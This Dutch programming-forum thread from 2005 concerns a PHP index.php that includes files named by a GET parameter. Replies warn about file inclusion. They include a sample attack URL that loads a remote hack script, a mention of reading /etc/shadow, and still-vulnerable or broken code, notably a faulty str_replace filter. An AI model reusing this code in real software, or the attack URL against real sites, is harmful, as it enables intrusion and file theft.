[PHP] Include met GET en POST variabelen

Pagina: 1
Acties:
  • 259 views sinds 30-01-2008
  • Reageer

Onderwerpen


Acties:
  • 0 Henk 'm!

  • getfirefoxnow
  • Registratie: Mei 2005
  • Niet online
Ik heb een aantal problemen met include en POST/GET. De meeste heb ik kunnen tackelen door zelf onderzoek te doen, tutorials te lezen, google, e.d. Maar met een paar problemen blijf ik nog zitten.

Ik maak standaard mijn websites met php include. Dat houdt in dat ik een index.php maak en daarbinnen de content include. Dit gaat altijd prima. Code:
PHP:
1
2
3
4
5
6
7
8
9
10
  <?php
  $content = $_GET['content'];
  if (file_exists($content)) {
    include($content);
  } else if ($content) {
    include('content/error.htm');
  } else {
    include('content/welkom.htm');
  }
  ?>


Nu ben ik een webapplicatie aan het maken waar je met behulp van een form data kunt toevoegen aan de database (POST variabelen) en een opvraagpagina die data uit de database toont (GET variabelen). Het punt is dat bij het aanroepen van een pagina waarbij je een GET variabele meestuurt, je altijd het volledige pad moet meegeven. Code:
code:
1
<a href="index.php?content=http://localhost/aibw/content/viewtaak.php?id=<?php echo $id;?>">

Echter als je een pagina aanroept met een POST variabele mag je juist niet het volledige pad meegeven anders geeft ie de variabelen niet goed mee, althans dat is mijn ervaring.

Probleem is dat je nu bij elke link (GET var) het volledige pad moet meegeven. Ik had dit liever in de include code verwerkt, maar dan werkt de pagina met de POST var niet meer.

Ander probleem is dat als je een pagina met het volledige pad aanroept (GET var), het relatieve pad verandert en je bij een include van een bestand een dir terug moet. Dit:
PHP:
1
2
include 'library/config.php';
include 'library/opendb.php';

wordt dan dit:
PHP:
1
2
include '../library/config.php';
include '../brary/opendb.php';

In html zou ik dit op lossen met het base statement:
<base href="http://localhost/aibw/"/>

Een ander probleem van het meegeven van GET variabelen via de url is dat als je bij de include checkt of de pagina bestaat (if (file_exists($content))), hij denkt dat de pagina niet bestaat. Dit probleem wil ik ook tackelen.

Kortom hoe gebruik ik pagina's met GET en POST variabelen in combinatie met een index.php die de content include, waarbij genoemde problemen zijn getackeld.

Acties:
  • 0 Henk 'm!

  • Vinnienerd
  • Registratie: Juli 2000
  • Laatst online: 18:29
HAAL JIJ EENS SNEL DIE INCLUDE WEG <waarschuwing />

Je code is met een include van een bestand op basis van een POST of GET-variabelen heel kwetsbaar voor codeinjecties. Dit is het domste wat je als PHP-devver kunt doen. Je escaped niet eens :/

Acties:
  • 0 Henk 'm!

  • Voutloos
  • Registratie: Januari 2002
  • Niet online
Met linkjes kan je altijd zelf kiezen tussen relatief en absolute paden, of je er nou GET en/of POST spul bij ophangt of niet.

Eerlijk gezegd zie ik een veel belangrijker probleem dan de vraag in je TS en dat is namelijk het feit dat een kwaadwillende gebruiker elk willekeurig bestand kan zien door de content variabele naar wens aan te passen.

edit:
Dezelfde waarschuwing als vinnienerd boven mij dus. Je vertrouwt veel te veel op eerlijke user input.

[ Voor 17% gewijzigd door Voutloos op 22-11-2005 17:30 ]

{signature}


Acties:
  • 0 Henk 'm!

  • BtM909
  • Registratie: Juni 2000
  • Niet online

BtM909

Watch out Guys...

Wist je dat PW vragen ook daadwerkelijk in PW horen? ;)

Move to PW

Ace of Base vs Charli XCX - All That She Boom Claps (RMT) | Clean Bandit vs Galantis - I'd Rather Be You (RMT)
You've moved up on my notch-list. You have 1 notch
I have a black belt in Kung Flu.


Acties:
  • 0 Henk 'm!

  • -Lars-
  • Registratie: Mei 2004
  • Niet online
Om even Vinnienerds reactie uit te leggen: wat als ik surf naar jou pagina en als argument verwijs naar een eigen, slechte pagina? Dan include jij nu vrolijk mijn pagina: gehackt!

Wat jij waarschijnlijk wilt, is zoiets:
PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
switch($_GET['content'];) { 
  case 'index': 
    include('content/index.php'); 
    break; 
  case 'gastenboek': 
    include('content/gastenboek.php'); 
    break; 
  case 'moo': 
    include('content/miep/moo.php'); 
    break; 
  default: 
    include('/content/error.php'); 
    break; 
}

Is de waarde nu niet een van de 'cases' dan include PHP wat er bij 'default' staat. Enkel vooraf opgegeven bestanden kunnen worden geinclude.

Even voor de duidelijkheid, links worden dan zo:
HTML:
1
<a href="index.php?content=gastenboek">Bla</a>

[ Voor 17% gewijzigd door -Lars- op 22-11-2005 17:52 . Reden: HTML-voorbeeld toegevoegd ]


Acties:
  • 0 Henk 'm!

  • getfirefoxnow
  • Registratie: Mei 2005
  • Niet online
-Larz- schreef op dinsdag 22 november 2005 @ 17:48:
Om even Vinnienerds reactie uit te leggen: wat als ik surf naar jou pagina en als argument verwijs naar een eigen, slechte pagina? Dan include jij nu vrolijk mijn pagina: gehackt!

Wat jij waarschijnlijk wilt, is zoiets:
PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
switch($_GET['content'];) { 
  case 'index': 
    include('content/index.php'); 
    break; 
  case 'gastenboek': 
    include('content/gastenboek.php'); 
    break; 
  case 'moo': 
    include('content/miep/moo.php'); 
    break; 
  default: 
    include('/content/error.php'); 
    break; 
}

Is de waarde nu niet een van de 'cases' dan include PHP wat er bij 'default' staat. Enkel vooraf opgegeven bestanden kunnen worden geinclude.
Hij checkt hier of de pagina bestaat en externe pagina's worden dus daarom nooit geinclude:
PHP:
1
if (file_exists($content))

Acties:
  • 0 Henk 'm!

  • Voutloos
  • Registratie: Januari 2002
  • Niet online
Ook niet elk bestandje op je server is voor de buitenwereld bedoelt, dus je bent er echt nog lang niet.

Voorbeelden: logs, bestanden in andere mappen van andere gebruikers (bij shared hosting) en bestanden van jou die in met .htaccess beveiligde mappen staan.

[ Voor 44% gewijzigd door Voutloos op 22-11-2005 18:42 ]

{signature}


Acties:
  • 0 Henk 'm!

  • getfirefoxnow
  • Registratie: Mei 2005
  • Niet online
Deze code:
PHP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?
switch($_GET['content'];) { 
  case 'index': 
    include('content/index.php'); 
    break; 
  case 'gastenboek': 
    include('content/gastenboek.php'); 
    break; 
  case 'moo': 
    include('content/miep/moo.php'); 
    break; 
  default: 
    include('/content/error.php'); 
    break; 
}
?>

is misschien wel erg veilig, maar erg bewerkelijk is het ook. Als je dagelijks enkele tientallen pagina's toevoegt aan je site, dan heb je heel wat tikwerk.

Acties:
  • 0 Henk 'm!

  • GlowMouse
  • Registratie: November 2002
  • Niet online
getfirefoxnow schreef op dinsdag 22 november 2005 @ 18:48:
is misschien wel erg veilig, maar erg bewerkelijk is het ook. Als je dagelijks enkele tientallen pagina's toevoegt aan je site, dan heb je heel wat tikwerk.
Als je dagelijks enkele tientallen pagina's toevoegt aan je site kun je er beter een cms omheen bouwen, en de pagina's in een database stoppen.

Acties:
  • 0 Henk 'm!

  • Voutloos
  • Registratie: Januari 2002
  • Niet online
Of als je gewoon de dir 'content' en de .php extensie hardcoded doet en alleen maar alfanumerieke characters accepteert als filenaam ben je er ook. :) En in die dir zet je dan ook nergens gevoelige informatie.

Maar uiteraard is er een punt dat een CMS handiger kan zijn.:)

[ Voor 21% gewijzigd door Voutloos op 22-11-2005 18:57 ]

{signature}


Acties:
  • 0 Henk 'm!

  • getfirefoxnow
  • Registratie: Mei 2005
  • Niet online
Om even ontopic te blijven. Mijn probleem was dat als ik een bestand include waar een GET variable aanhangt, je de hele url moet opgeven:
PHP:
1
2
$content = "http://localhost/aibw/content/viewtaak.php?id=38";
include($content);


Dit werkt dus niet:
PHP:
1
2
$content = "content/viewtaak.php?id=38";
include($content);


Vervolgens veranderen de relatieve paden weer. Dit staat in de startpost.

Acties:
  • 0 Henk 'm!

  • Voutloos
  • Registratie: Januari 2002
  • Niet online
Je kan toch gewoon dat bestand includen en binnen al je bestanden je GET en POST arrays aanspreken?

Bij die 1e include je middels http en bij de 2e is dat niet per se duidelijk en include je via je filesystem. Als dit het niet is, moet je toch echt meer uitleg geven, want ik heb nu eerlijk gezegd het idee dat je niet weet wat je aan het doen bent. :>
Waarom doe je niet gewoon alles vanuit index.php met parameters als content='dieenepagina'&id=1?

{signature}


Acties:
  • 0 Henk 'm!

  • killercow
  • Registratie: Maart 2000
  • Laatst online: 18-09 12:47

killercow

eth0

een include haalt de php code op voordat hij geparsed is, wat dus helpen is:

Get en Post hebben hier Niets mee te maken.. (lees de manual eens echt door voordat je deze site online zet, anders ga je je hier nog lelijk aan bezeren.)

PHP:
1
2
3
4
5
<?
$id=1;
$content='content/viewtaak.php';
include($content);
?>


Als je een reeds geparsde pagina wilt opnemen in jouw pagina moet je fopen of eventueel fread gebruiken.

Met fopen kun je een http of lokale pagina openen, en gebruiken in je script.

Met include (of require) kun je een lokaal bestand als zijnde PHP parsen (ook als het niet die extentie heeft) en kan dat scrpt dus vrij gebruik maken van de variabelen en functies binnen de file die de include of require pleegt. (let er ook op dat alle php uitgevoerd wordt in de directory waarin de pagina staat die de includes pleegt.

[ Voor 47% gewijzigd door killercow op 22-11-2005 19:21 ]

openkat.nl al gezien?


Acties:
  • 0 Henk 'm!

  • getfirefoxnow
  • Registratie: Mei 2005
  • Niet online
Ipv een GET variabele te includen, kun je ook binnen index.php de benodigde variabele vullen.

Ipv dit:
code:
1
<a href="index.php?content=http://localhost/aibw/content/viewtaak.php?id=<?php echo $id;?>">

doe je nu dit:
code:
1
<a href="index.php?content=content/viewtaak.php&id=<?php echo $id;?>">


PHP:
1
2
3
4
5
<?
$id = "$_GET['id']";
$content = "$_GET['content']";
include($content);
?>


Binnen viewtaak.php lees je $id. Opgelost.
En dan netjes...

Acties:
  • 0 Henk 'm!

  • getfirefoxnow
  • Registratie: Mei 2005
  • Niet online
edit:

Het is een lokale webapplicatie.
Het is geen cms

Acties:
  • 0 Henk 'm!

  • killercow
  • Registratie: Maart 2000
  • Laatst online: 18-09 12:47

killercow

eth0

Yup,

Met de variable content geef je aan welke php file er gedraait moet worden, en met de variabele id geen je aan dat de id var gevuld moet zijn.
Of viewtaak.php daarna gebruik maakt van de $id variabele, of dat je viewtaak direct de $_GET['id'] var laat lezen maakt niets uit.

Wat wel veel uitmaakt is dat ik nu de variabele $content naar van alles nog wat kan zetten naar waar jouw php file lees rechten heeft.

(op een linux bak bijvoorbeeld /etc/shadow voor je wachtwoorden, en op een win98 bak c:/windows/willekeurige_file)

Omdat er in de geinclude bestanden geen php staat wordt de hele inhoud ervan als tekst naar de browser gestuurd. (vandaar dat je de inhoud MOET checken)

Vaak helpt het al een stuk als je dingen als ../ eruit filtert, en een bepaalde directory voor de te includen bestandsnaam zet, (en .php er achter)

bijvoorbeeld zo:

code:
1
<a href="index.php?content=viewtaak&id=<?php echo $id;?>">


PHP:
1
2
3
4
<?
$content=str_replace('../',$_GET['content']);
include('content/'.$content.'.php');
?>


ps, je hoeft om variabele namen niet altijd "" te gebruiken, lees ook daar de manual eens op na.

[ Voor 9% gewijzigd door killercow op 22-11-2005 19:28 ]

openkat.nl al gezien?


Acties:
  • 0 Henk 'm!

  • Voutloos
  • Registratie: Januari 2002
  • Niet online
@getfirefoxnow: Ja, zo zei ik het toch ook :?
getfirefoxnow schreef op dinsdag 22 november 2005 @ 19:18:
code:
1
<a href="index.php?content=content/viewtaak.php&id=<?php echo $id;?>">
Zoiets als dit werkt, behalve dan dat je geen <?php moet doen binnen een string. ;) Je gebruikt dubbele quotes (die je her en der inderdaad overbodig/verkeerd gebruikt), dus je kan gewoon <a href="index.php?content=content/viewtaak.php&id=$id>" doen. :)

[ Voor 24% gewijzigd door Voutloos op 22-11-2005 19:31 ]

{signature}


Acties:
  • 0 Henk 'm!

  • Arto
  • Registratie: November 2005
  • Laatst online: 20-09 21:40
oke, de code die jij heb is erg gevaarlijk

PHP:
4
  $content = (isset($_GET['content']) ? htmlspecialchars($_GET['content']) : "";


probeer het eens zo
anders zou je kunnen zeggen
code:
1
http://localhost/index.php?content=http://somepage.nl/myphphack.phps

en hij leest het hele bestand extern in (hij kan het extern lezen omdat je extern de source kunt zien) en je kunt zo alles op die server doen/achterhalen

en na een include word die hele pagina in index.php geladen dus zou je eigenlijk moeten krijgen

code:
1
index.php?content=http://localhost/aibw/content/viewtaak.php&id=<?php echo $id;?>


dan kun je in viewtaak.php $_GET['id'] gebruiken

[ Voor 7% gewijzigd door Arto op 30-11-2005 10:26 ]

Pagina: 1